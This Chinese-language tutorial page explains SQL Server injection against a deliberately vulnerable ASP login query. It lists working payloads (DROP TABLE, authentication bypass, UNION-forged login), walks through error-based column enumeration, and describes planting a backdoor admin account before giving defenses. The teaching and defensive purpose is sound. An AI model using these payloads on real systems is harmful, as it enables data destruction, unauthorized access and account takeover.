首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊深度解析 (3/10):經典注入 Payload、錯誤回顯機制、表結構枚舉實戰

     編輯:關於SqlServer

登入頁面代碼 (經典 ASP + JScript)


var sql = "SELECT * FROM Users WHERE UserName = '" + Request.Form("UserName") + "' AND PassWord = '" + Request.Form("PassWord") + "'";
rso.Open(sql, cn);

1. 經典注入 Payload 速查

目的UserName 輸入PassWord產生 SQL 片段
刪除表'; DROP TABLE Users--任意`DROP TABLE Users` 後註釋掉尾部
繞過登入 (已知用戶名)admin'--任意`WHERE UserName = 'admin'--'` 密碼檢查被註釋
繞過登入 (任意用戶)' OR 1=1--任意`WHERE UserName = '' OR 1=1--'` 恆真
偽造用戶登入' UNION SELECT 1, 'hacker', 'pass', 1--任意聯合查詢返回攻擊者構造的列

**關鍵字元**:`'` 閉合字串、`;` 結束陳述式/分隔批次、`--` 註釋剩餘 SQL。

2. 錯誤回顯機制 — 盲注之眼

ASP/ASP.NET 預設**將資料庫錯誤直接輸出至 HTTP 回應** (除非關閉 `customErrors` / `debug=false`)。攻擊者藉此「看見」資料庫內部結構與資料。

3. 實戰:從零枚舉 Users 表結構

假設表定義:


CREATE TABLE Users (ID INT, UserName VARCHAR(255), PassWord VARCHAR(255), Privs INT);
INSERT INTO Users VALUES (0, 'admin', 'r00tr0x!', 0xFFFF), (0, 'guest', 'guest', 0), (0, 'chris', 'passWord', 0xFF), (0, 'fred', 'sesame', 0xFF);

步驟 1: HAVING 1=1 取得表名 + 第一欄


UserName: ' HAVING 1=1--
-- 錯誤: Column 'Users.ID' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
-- 解讀: 表名 Users,第一欄 ID

步驟 2: 遞增 GROUP BY 取得所有欄位


' GROUP BY Users.ID HAVING 1=1--          -- 錯誤洩露 UserName
' GROUP BY Users.ID, Users.UserName HAVING 1=1--  -- 錯誤洩露 PassWord
' GROUP BY Users.ID, Users.UserName, Users.PassWord HAVING 1=1-- -- 錯誤洩露 Privs
' GROUP BY Users.ID, Users.UserName, Users.PassWord, Users.Privs HAVING 1=1-- -- 無錯誤,枚舉完畢

4. 攻擊者目標:插入後門帳號 (需知結構與型別)

若不知 `Privs` 意義 (權限位元遮罩),插入 `1` 可能僅得低權限,目標 `0xFFFF` (全權限)。

5. 幸運條件:錯誤回顯開啟

若生產環境關閉詳細錯誤 (`customErrors="RemoteOnly"` / `debug="false"`),上述枚舉**完全失效**,攻擊者轉入**盲注** (Boolean-based / Time-based),難度指數級上升。

核心防禦 (針對第 3 篇攻擊面)

  1. **參數化查詢** — `cmd.Parameters.Add("@User", Request.Form("UserName"))` — 徹底切斷注入路徑。
  2. **關閉錯誤詳細資訊回顯給用戶** — 錯誤寫入伺服器日志 / SIEM,用戶僅見友善提示。
  3. **最小權限資料庫帳號** — 應用帳號僅 `SELECT/INSERT/UPDATE/DELETE` 特定表,無 `sysadmin`、`db_owner`、`xp_cmdshell` 權限。
  4. **輸入驗證 (白名單)** — 用戶名 `^[a-zA-Z0-9_]{3,20}$`,密碼長度/複雜度。
  5. **WAF/RASP** — 第二道防線,攔截已知 Payload 特徵。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved